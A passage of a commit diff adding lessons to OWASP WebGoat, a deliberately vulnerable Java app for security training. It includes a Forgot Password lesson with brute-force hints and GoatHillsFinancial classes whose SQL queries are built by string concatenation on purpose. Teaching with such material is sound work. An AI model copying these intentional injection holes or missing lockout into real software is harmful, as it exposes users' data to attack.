tr = new TR();
tr.addElement(new TD().addElement(new StringElement("Password: " + USERS.get(USERNAME_RESPONSE).toString())));
t.addElement(tr);
ec.addElement(t);
if (USERNAME_RESPONSE.equals("admin") && COLOR_RESPONSE.equals("green"))
{
makeSuccess(s);
}
else if (!USERNAME_RESPONSE.equals("webgoat") && USERS.containsKey(USERNAME_RESPONSE))
{
s.setMessage("Close. Now try to get the password of a privileged account.");
}
return ec;
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String username = "";
String color = "";
color = s.getParser().getStringParameter(COLOR, "");
if (color.length() > 0)
STAGE = 2;
else
STAGE = 1;
if (USERS.size() == 0)
{
populateTables();
}
if (STAGE == 2)
{
color = s.getParser().getStringParameter(COLOR, "");
if (COLORS.get(USERNAME_RESPONSE).equals(color))
{
STAGE = 1;
COLOR_RESPONSE = color;
ec.addElement(doStage3(s));
}
else
{
s.setMessage("Incorrect response for " + USERNAME_RESPONSE + ". Please try again!");
ec.addElement(doStage2(s));
}
}
else if (STAGE == 1)
{
username = s.getParser().getStringParameter(USERNAME, "");
if (USERS.containsKey(username))
{
STAGE = 2;
USERNAME_RESPONSE = username;
ec.addElement(doStage2(s));
}
else
{
if (username.length() > 0)
{
s.setMessage("Not a valid username. Please try again.");
}
ec.addElement(doStage1(s));
}
}
else
{
ec.addElement(doStage1(s));
STAGE = 1;
}
return ec;
}
/**
* Gets the category attribute of the ForgotPassword object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.AUTHENTICATION;
}
/**
* Gets the hints attribute of the HelloScreen object
*
* @return The hints value
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("There is no lock out policy in place, brute force your way!");
hints.add("Try using usernames you might encounter throughout WebGoat.");
hints.add("There are only so many possible colors, can you guess one?");
hints.add("The administrative account is \"admin\"");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(15);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Forgot Password");
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
}

334
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DefaultLessonAction.java Normal file
View File

@ -0,0 +1,334 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public abstract class DefaultLessonAction implements LessonAction
{
// FIXME: We could parse this class name to get defaults for these fields.
private String lessonName;
private String actionName;
private GoatHillsFinancial lesson;
public DefaultLessonAction(GoatHillsFinancial lesson, String lessonName, String actionName)
{
this.lesson = lesson;
this.lessonName = lessonName;
this.actionName = actionName;
}
public void handleRequest( WebSession s )
throws ParameterNotFoundException, UnauthenticatedException, UnauthorizedException, ValidationException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{
}
else
throw new UnauthenticatedException();
}
public abstract String getNextPage(WebSession s);
public GoatHillsFinancial getLesson()
{
return lesson;
}
public String getLessonName()
{
return lessonName;
}
public String getActionName()
{
return actionName;
}
public void setSessionAttribute(WebSession s, String name, Object value)
{
s.getRequest().getSession().setAttribute(name, value);
}
public void setRequestAttribute(WebSession s, String name, Object value)
{
s.getRequest().setAttribute(name, value);
}
public void removeSessionAttribute(WebSession s, String name)
{
s.getRequest().getSession().removeAttribute(name);
}
protected String getSessionAttribute(WebSession s, String name) throws ParameterNotFoundException
{
String value = (String) s.getRequest().getSession().getAttribute(name);
if (value == null)
{
throw new ParameterNotFoundException();
}
return value;
}
protected boolean getBooleanSessionAttribute(WebSession s, String name) throws ParameterNotFoundException
{
boolean value = false;
Object attribute = s.getRequest().getSession().getAttribute(name);
if (attribute == null)
{
throw new ParameterNotFoundException();
}
else
{
//System.out.println("Attribute " + name + " is of type " + s.getRequest().getSession().getAttribute(name).getClass().getName());
//System.out.println("Attribute value: " + s.getRequest().getSession().getAttribute(name));
value = ((Boolean) attribute).booleanValue();
}
return value;
}
protected int getIntSessionAttribute(WebSession s, String name) throws ParameterNotFoundException
{
int value = -1;
String ss = (String) s.getRequest().getSession().getAttribute(name);
if (ss == null)
{
throw new ParameterNotFoundException();
}
else
{
try
{
value = Integer.parseInt(ss);
}
catch (NumberFormatException nfe)
{
}
}
return value;
}
protected String getRequestAttribute(WebSession s, String name) throws ParameterNotFoundException
{
String value = (String) s.getRequest().getAttribute(name);
if (value == null)
{
throw new ParameterNotFoundException();
}
return value;
}
protected int getIntRequestAttribute(WebSession s, String name) throws ParameterNotFoundException
{
int value = -1;
String ss = (String) s.getRequest().getAttribute(name);
if (ss == null)
{
throw new ParameterNotFoundException();
}
else
{
try
{
value = Integer.parseInt(ss);
}
catch (NumberFormatException nfe)
{
}
}
return value;
}
public int getUserId(WebSession s) throws ParameterNotFoundException
{
return getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
}
public String getUserName(WebSession s) throws ParameterNotFoundException
{
String name = null;
int employeeId = getUserId(s);
try
{
String query = "SELECT first_name FROM employee WHERE userid = " + employeeId;
try
{
Statement answer_statement = WebSession.getConnection(s).createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
ResultSet answer_results = answer_statement.executeQuery( query );
if (answer_results.next())
name = answer_results.getString("first_name");
}
catch ( SQLException sqle )
{
s.setMessage( "Error getting user name" );
sqle.printStackTrace();
}
}
catch ( Exception e )
{
s.setMessage( "Error getting user name" );
e.printStackTrace();
}
return name;
}
public boolean requiresAuthentication()
{
// Default to true
return true;
}
public boolean isAuthenticated(WebSession s)
{
boolean authenticated = false;
try
{
authenticated = getBooleanSessionAttribute(s, getLessonName() + ".isAuthenticated");
}
catch (ParameterNotFoundException e)
{
}
return authenticated;
}
public boolean isAuthorized(WebSession s, int employeeId, String functionId)
{
String employer_id = (String)s.getRequest().getSession().getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID);
//System.out.println("Authorizing " + employeeId + " for use of function: " + functionId + " having USER_ID = " + employer_id );
boolean authorized = false;
try
{
String query = "SELECT * FROM auth WHERE auth.role in (SELECT roles.role FROM roles WHERE userid = " + employeeId + ") and functionid = '" + functionId + "'";
try
{
Statement answer_statement = WebSession.getConnection(s).createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
ResultSet answer_results = answer_statement.executeQuery( query );
authorized = answer_results.first();
/* User is validated for function, but can the user perform that function on the specified user? */
if(authorized)
{
authorized = isAuthorizedForEmployee(s, Integer.parseInt(employer_id), employeeId);
}
}
catch ( SQLException sqle )
{
s.setMessage( "Error authorizing" );
sqle.printStackTrace();
}
}
catch ( Exception e )
{
s.setMessage( "Error authorizing" );
e.printStackTrace();
}
//System.out.println("Authorized? " + authorized);
return authorized;
}
public boolean isAuthorizedForEmployee(WebSession s, int userId, int employeeId)
{
//System.out.println("Authorizing " + userId + " for access to employee: " + employeeId);
boolean authorized = false;
try
{
String query = "SELECT * FROM ownership WHERE employer_id = ? AND employee_id = ?";
try
{
PreparedStatement answer_statement = WebSession.getConnection(s).prepareStatement( query,
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
answer_statement.setInt(1, userId);
answer_statement.setInt(2, employeeId);
ResultSet answer_results = answer_statement.executeQuery();
authorized = answer_results.first();
}
catch ( SQLException sqle )
{
s.setMessage( "Error authorizing" );
sqle.printStackTrace();
}
}
catch ( Exception e )
{
s.setMessage( "Error authorizing" );
e.printStackTrace();
}
return authorized;
}
protected void setStage(WebSession s, String stage)
{
getLesson().setStage(s, stage);
}
protected void setStageComplete(WebSession s, String stage) {
getLesson().setStageComplete(s, stage);
}
protected String getStage(WebSession s)
{
return getLesson().getStage(s);
}
public String toString()
{
return getActionName();
}
}

122
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java Executable file
View File

@ -0,0 +1,122 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class DeleteProfile extends DefaultLessonAction
{
private LessonAction chainedAction;
public DeleteProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
getLesson().setCurrentAction(s, getActionName());
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.USER_ID);
int employeeId = s.getParser().getIntParameter(
GoatHillsFinancial.EMPLOYEE_ID);
if (isAuthenticated(s))
{
deleteEmployeeProfile(s, userId, employeeId);
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
return GoatHillsFinancial.LISTSTAFF_ACTION;
}
public void deleteEmployeeProfile(WebSession s, int userId, int employeeId)
throws UnauthorizedException
{
try
{
// Note: The password field is ONLY set by ChangePassword
String query = "DELETE FROM employee WHERE userid = " + employeeId;
//System.out.println("Query: " + query);
try
{
Statement statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.executeUpdate(query);
}
catch (SQLException sqle)
{
s.setMessage("Error deleting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error deleting employee profile");
e.printStackTrace();
}
}
}

132
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java Executable file
View File

@ -0,0 +1,132 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class EditProfile extends DefaultLessonAction
{
public EditProfile(GoatHillsFinancial lesson, String lessonName,
String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{
int userId = getUserId(s);
int employeeId = s.getParser().getIntParameter(
GoatHillsFinancial.EMPLOYEE_ID);
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
return GoatHillsFinancial.EDITPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = ?";
try
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
}

190
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java Executable file
View File

@ -0,0 +1,190 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class FindProfile extends DefaultLessonAction
{
private LessonAction chainedAction;
public FindProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.USER_ID);
String pattern = s.getParser().getRawParameter(
GoatHillsFinancial.SEARCHNAME);
findEmployeeProfile(s, userId, pattern);
// Execute the chained Action if the employee was found.
if (foundEmployee(s))
{
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
String page = GoatHillsFinancial.SEARCHSTAFF_ACTION;
if (foundEmployee(s))
page = GoatHillsFinancial.VIEWPROFILE_ACTION;
return page;
}
private boolean foundEmployee(WebSession s)
{
boolean found = false;
try
{
getIntRequestAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ID);
found = true;
}
catch (ParameterNotFoundException e)
{}
return found;
}
public Employee findEmployeeProfile(WebSession s, int userId, String pattern)
throws UnauthorizedException
{
Employee profile = null;
// Clear any residual employee id's in the session now.
removeSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ID);
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE first_name LIKE ? OR last_name LIKE ?";
try
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setString(1, "%" + pattern + "%");
answer_statement.setString(2, "%" + pattern + "%");
ResultSet answer_results = answer_statement.executeQuery();
// Just use the first hit.
if (answer_results.next())
{
int id = answer_results.getInt("userid");
// Note: Do NOT get the password field.
profile = new Employee(id, answer_results
.getString("first_name"), answer_results
.getString("last_name"), answer_results
.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"),
answer_results.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/
setRequestAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ID, Integer
.toString(id));
}
}
catch (SQLException sqle)
{
s.setMessage("Error finding employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error finding employee profile");
e.printStackTrace();
}
return profile;
}
}

332
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java Executable file
View File

@ -0,0 +1,332 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.util.ArrayList;
import java.util.Hashtable;
import java.util.List;
import java.util.Map;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
import org.apache.ecs.html.IMG;
import org.owasp.webgoat.lessons.RandomLessonAdapter;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class GoatHillsFinancial extends RandomLessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public final static String DESCRIPTION = "description";
public final static String DISCIPLINARY_DATE = "disciplinaryDate";
public final static String DISCIPLINARY_NOTES = "disciplinaryNotes";
public final static String CCN_LIMIT = "ccnLimit";
public final static String CCN = "ccn";
public final static String SALARY = "salary";
public final static String START_DATE = "startDate";
public final static String MANAGER = "manager";
public final static String ADDRESS1 = "address1";
public final static String ADDRESS2 = "address2";
public final static String PHONE_NUMBER = "phoneNumber";
public final static String TITLE = "title";
public final static String SSN = "ssn";
public final static String LAST_NAME = "lastName";
public final static String FIRST_NAME = "firstName";
public final static String PASSWORD = "password";
public final static String EMPLOYEE_ID = "employee_id";
public final static String USER_ID = "user_id";
public final static String SEARCHNAME = "search_name";
public final static String SEARCHRESULT_ATTRIBUTE_KEY = "SearchResult";
public final static String EMPLOYEE_ATTRIBUTE_KEY = "Employee";
public final static String STAFF_ATTRIBUTE_KEY = "Staff";
public final static String LOGIN_ACTION = "Login";
public final static String LOGOUT_ACTION = "Logout";
public final static String LISTSTAFF_ACTION = "ListStaff";
public final static String SEARCHSTAFF_ACTION = "SearchStaff";
public final static String FINDPROFILE_ACTION = "FindProfile";
public final static String VIEWPROFILE_ACTION = "ViewProfile";
public final static String EDITPROFILE_ACTION = "EditProfile";
public final static String UPDATEPROFILE_ACTION = "UpdateProfile";
public final static String CREATEPROFILE_ACTION = "CreateProfile";
public final static String DELETEPROFILE_ACTION = "DeleteProfile";
public final static String ERROR_ACTION = "error";
private final static Integer DEFAULT_RANKING = new Integer(125);
private Map<String, LessonAction> lessonFunctions = new Hashtable<String, LessonAction>();
public GoatHillsFinancial()
{
String myClassName = parseClassName(this.getClass().getName());
registerActions(myClassName);
}
protected void registerActions(String className) {
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION,
getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION,
getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
protected final String parseClassName(String fqcn)
{
String className = fqcn;
int lastDotIndex = fqcn.lastIndexOf('.');
if (lastDotIndex > -1)
className = fqcn.substring(lastDotIndex + 1);
return className;
}
protected void registerAction(LessonAction action)
{
lessonFunctions.put(action.getActionName(), action);
}
public String[] getStages() {
return new String[] {};
}
protected List<String> getHints(WebSession s)
{
return new ArrayList<String>();
}
public String getInstructions(WebSession s)
{
return "";
}
protected LessonAction getAction(String actionName)
{
return lessonFunctions.get(actionName);
}
public void handleRequest(WebSession s)
{
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
}
catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
}
try
{
LessonAction action = getAction(requestedActionName);
if (action == null)
{
setCurrentAction(s, ERROR_ACTION);
} else
{
//System.out.println("GoatHillsFinancial.handleRequest() dispatching to: " + action.getActionName());
if (action.requiresAuthentication())
{
if (action.isAuthenticated(s))
{
action.handleRequest(s);
}
else
throw new UnauthenticatedException();
}
else
{
// Access to Login does not require authentication.
action.handleRequest(s);
}
}
}
catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace();
}
catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
// All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer());
}
public boolean isAuthorized(WebSession s, int userId, String functionId)
{
//System.out.println("Checking authorization from " + getCurrentAction(s));
LessonAction action = getAction(getCurrentAction(s));
return action.isAuthorized(s, userId, functionId);
}
public int getUserId(WebSession s) throws ParameterNotFoundException
{
LessonAction action = getAction(getCurrentAction(s));
return action.getUserId(s);
}
public String getUserName(WebSession s) throws ParameterNotFoundException
{
LessonAction action = getAction(getCurrentAction(s));
return action.getUserName(s);
}
protected String getJspPath() {
return "/lessons/" + getLessonName() + "/";
}
public String getTemplatePage(WebSession s)
{
return getJspPath() + getLessonName() + ".jsp";
}
public String getPage(WebSession s)
{
String page = getJspPath() + getCurrentAction(s) + ".jsp";
return page;
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
public String getTitle()
{
return "Goat Hills Financials";
}
public String getSourceFileName()
{
// FIXME: Need to generalize findSourceResource() and use it on the currently active
// LessonAction delegate to get its source file.
//return findSourceResource(getCurrentLessonScreen()....);
return super.getSourceFileName();
}
@Override
protected boolean getDefaultHidden() {
return getClass().equals(GoatHillsFinancial.class);
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
@Override
protected String getLessonName() {
String className = getClass().getName();
int index = className.lastIndexOf('.');
if (index > -1)
return className.substring(index+1);
return super.getLessonName();
}
}

27
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/LessonAction.java Normal file
View File

@ -0,0 +1,27 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
public interface LessonAction
{
public void handleRequest(WebSession s)
throws ParameterNotFoundException, UnauthenticatedException, UnauthorizedException, ValidationException;
public String getNextPage(WebSession s);
public String getActionName();
public boolean requiresAuthentication();
public boolean isAuthenticated(WebSession s);
public boolean isAuthorized(WebSession s, int employeeId, String functionId);
public int getUserId(WebSession s) throws ParameterNotFoundException;
public String getUserName(WebSession s) throws ParameterNotFoundException;
}

121
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ListStaff.java Executable file
View File

@ -0,0 +1,121 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.List;
import java.util.Vector;
import org.owasp.webgoat.session.EmployeeStub;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class ListStaff extends DefaultLessonAction
{
public ListStaff(GoatHillsFinancial lesson, String lessonName, String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{
